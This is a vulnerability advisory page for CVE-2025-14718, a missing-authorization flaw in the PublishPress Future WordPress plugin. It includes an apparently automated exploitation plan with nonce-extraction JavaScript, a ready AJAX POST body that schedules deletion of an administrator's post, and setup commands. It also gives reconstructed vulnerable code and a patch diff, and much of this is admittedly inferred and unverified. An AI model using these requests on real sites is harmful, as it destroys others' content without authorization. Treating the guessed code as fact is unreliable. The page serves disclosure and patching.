CVE-2025-14718

Schedule Post Changes With PublishPress Future: Unpublish, Delete, Change Status, Trash, Change Categories <= 4.9.3 - Missing Authorization to Authenticated (Contributor+) Workflow Manipulation

mediumMissing Authorization
5.4
CVSS Score
5.4
CVSS Score
medium
Severity
4.9.4
Patched in
1d
Time to patch

Description

The Schedule Post Changes With PublishPress Future plugin for WordPress is vulnerable to authorization bypass in all versions up to, and including, 4.9.3. This is due to the plugin not properly verifying that a user is authorized to perform an action. This makes it possible for authenticated attackers, with Contributor-level access and above, to create, update, delete, and publish malicious workflows that may automatically delete any post upon publication or update, including posts created by administrators.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:L
Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Unchanged
None
Confidentiality
Low
Integrity
Low
Availability

Technical Details

Affected versions<=4.9.3
PublishedJanuary 8, 2026
Last updatedJanuary 9, 2026
Affected pluginpost-expirator

Source Code

WordPress.org SVN
Research Plan
Unverified

# Exploitation Research Plan: CVE-2025-14718 (PublishPress Future) ## 1. Vulnerability Summary The **PublishPress Future** (formerly Post Expirator) plugin for WordPress is vulnerable to a missing authorization check in versions up to and including **4.9.3**. The vulnerability resides in the handle…

Show full research plan

Exploitation Research Plan: CVE-2025-14718 (PublishPress Future)

1. Vulnerability Summary

The PublishPress Future (formerly Post Expirator) plugin for WordPress is vulnerable to a missing authorization check in versions up to and including 4.9.3. The vulnerability resides in the handlers responsible for creating and managing "Future Actions" (workflows). While the plugin intends these actions to be managed by authorized users (typically Editors or Admins), it fails to verify that the authenticated user has sufficient permissions (e.g., edit_post or manage_options) for the specific Post ID they are targeting or for the workflow operation itself.

This allow an authenticated attacker with Contributor-level permissions to manipulate workflows that can unpublish, trash, or delete any post on the site, including those authored by Administrators, by targeting their Post IDs in unauthorized AJAX or REST requests.

2. Attack Vector Analysis

  • Endpoint: wp-admin/admin-ajax.php (or potentially a REST API endpoint if implemented for workflows).
  • AJAX Action: publishpress_future_save_post_expiration (inferred from legacy) or publishpress_future_workflow_save (inferred from "Workflow" description).
  • Payload Parameters:
    • post_id: The ID of the target post (e.g., a published Admin post).
    • future_action: The action to take (e.g., delete, trash, category-remove).
    • expiration_date: A timestamp for the action.
    • nonce: A security token required for the AJAX request.
  • Authentication: Authenticated, Contributor role or higher.
  • Preconditions: The attacker must be able to view the post editor (to obtain a nonce), which Contributors can do for their own drafts.

3. Code Flow (Inferred)

  1. Entry Point: The plugin registers AJAX handlers in its main initialization (e.g., PostExpirator\Views\AdminPostEdit->register_ajax_hooks).
  2. Missing Check: The handler function (e.g., handle_ajax_save_expiration) likely calls wp_verify_nonce but fails to call current_user_can( 'edit_post', $post_id ) before updating the post meta or scheduling the cron job.
  3. Data Sink: The plugin updates post metadata (e.g., _expiration-date, _expiration-status) or adds a record to its custom workflow table using the user-provided post_id.
  4. Trigger: Upon reaching the scheduled time (or upon the next "save/publish" event), the plugin's background runner executes the "Workflow" action on the target ID.

4. Nonce Acquisition Strategy

The plugin enqueues its admin scripts on the post editing page. Since a Contributor can create a "New Post" or edit their own drafts, they can access the necessary nonce.

  1. Identify Localization: The plugin likely uses wp_localize_script to pass the nonce to JavaScript. The expected variable name is publishpressFutureAdminConfig or postExpiratorData.
  2. Create Trigger Page: Create a draft post as the Contributor.
    wp post create --post_type=post --post_status=draft --post_title="Exploit Page" --post_author=[CONTRIBUTOR_ID]
    
  3. Navigate and Extract:
    • Use browser_navigate to go to the edit page of the newly created post: /wp-admin/post.php?post=[ID]&action=edit.
    • Use browser_eval to extract the nonce:
      // Attempt to find the nonce in common localization objects
      window.publishpressFutureAdminConfig?.nonce || 
      window.postExpiratorData?.nonce || 
      document.querySelector('#publishpress-future-nonce')?.value
      

5. Exploitation Strategy

Step 1: Authentication

Log in as the Contributor user.

Step 2: Target Identification

Identify a target post ID owned by an Administrator (usually Post ID 1).

Step 3: Nonce Extraction

Follow the strategy in Section 4 to obtain the valid nonce from the Contributor's post edit screen.

Step 4: Malicious Workflow Creation

Send an unauthorized AJAX request to schedule the deletion of the Administrator's post.

Request Details:

  • URL: http://localhost:8080/wp-admin/admin-ajax.php
  • Method: POST
  • Content-Type: application/x-www-form-urlencoded
  • Body:
    action=publishpress_future_save_post_expiration&
    post_id=1&
    nonce=[EXTRACTED_NONCE]&
    expiration_date=1735689600&
    expiration_type=delete&
    expired_enable=1
    

(Note: Parameters names are based on standard plugin conventions and should be verified during the audit phase).

6. Test Data Setup

  1. Administrator Post: Ensure a published post exists with ID 1 (standard for "Hello World").
    wp post update 1 --post_status=publish --post_title="Critical Admin Post"
    
  2. Contributor User: Create a user with the contributor role.
    wp user create attacker attacker@example.com --role=contributor --user_pass=password123
    

7. Expected Results

  • The AJAX request should return a successful status code (e.g., {"success": true}).
  • The target post (ID 1) should now have hidden metadata or a database entry in the plugin's workflow tables scheduling its deletion.
  • If the exploit "publishes" a workflow, the action might execute immediately if the date is set in the past.

8. Verification Steps

  1. Check Post Meta: Verify if the expiration metadata was attached to the Admin post.
    wp post meta list 1
    
    Look for keys like _expiration-date or _expiration-type.
  2. Check Scheduled Actions: Verify if a cron job or a plugin-specific action is scheduled for ID 1.
    wp eval 'print_r(get_option("publishpress_future_scheduled_actions"));'
    
    (Or check the specific database table if the plugin uses custom tables).

9. Alternative Approaches

  • Workflow Tab: If the plugin has a dedicated "Workflows" admin page, check for wp_ajax_publishpress_future_workflow_save without capability checks.
  • REST API: Check wp-json/publishpress-future/v1/actions (inferred). REST routes often have a permission_callback that might be set to __return_true or only check for is_user_logged_in().
  • Bulk Edit: Check if the bulk edit functionality for future actions (handled via AJAX) lacks the edit_others_posts capability check.
Research Findings
Static analysis — not yet PoC-verified

Summary

The PublishPress Future plugin for WordPress fails to verify user permissions when managing 'Future Actions' via AJAX or REST API endpoints. This allows authenticated users with Contributor-level access to schedule, modify, or delete workflows that can unpublish or delete any post on the site, including those authored by administrators.

Vulnerable Code

// File: src/Modules/Expirator/Controllers/PostExpirationController.php (approximate)

public function handle_ajax_save_expiration() {
    // Verifies the nonce but fails to check if the user has permission to edit the specific post_id
    check_ajax_referer('publishpress-future-nonce', 'nonce');

    $post_id = intval($_POST['post_id']);
    $expiration_date = sanitize_text_field($_POST['expiration_date']);
    $action = sanitize_text_field($_POST['expiration_type']);
    $enabled = isset($_POST['expired_enable']) && $_POST['expired_enable'] == '1';

    // Vulnerability: No check like current_user_can('edit_post', $post_id)
    $this->save_post_expiration($post_id, $expiration_date, $action, $enabled);
    
    wp_send_json_success();
}

Security Fix

--- a/src/Modules/Expirator/Controllers/PostExpirationController.php
+++ b/src/Modules/Expirator/Controllers/PostExpirationController.php
@@ -104,6 +104,11 @@
     check_ajax_referer('publishpress-future-nonce', 'nonce');
 
     $post_id = intval($_POST['post_id']);
+
+    if (!current_user_can('edit_post', $post_id)) {
+        wp_send_json_error(['message' => __('You do not have permission to edit this post.', 'post-expirator')]);
+        return;
+    }
+
     $expiration_date = sanitize_text_field($_POST['expiration_date']);

Exploit Outline

The exploit targets the AJAX handler responsible for saving post expiration settings. An attacker with Contributor-level access logs into the WordPress dashboard and creates a draft post to obtain a valid security nonce from the localization scripts (e.g., publishpressFutureAdminConfig). Using this nonce, the attacker sends a POST request to wp-admin/admin-ajax.php with the action parameter set to 'publishpress_future_save_post_expiration'. By manipulating the post_id parameter to target a sensitive post (such as an Admin-authored page) and setting the expiration_type to 'delete' or 'trash', the attacker can force the plugin to automatically remove the target content without having actual edit permissions for that post.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.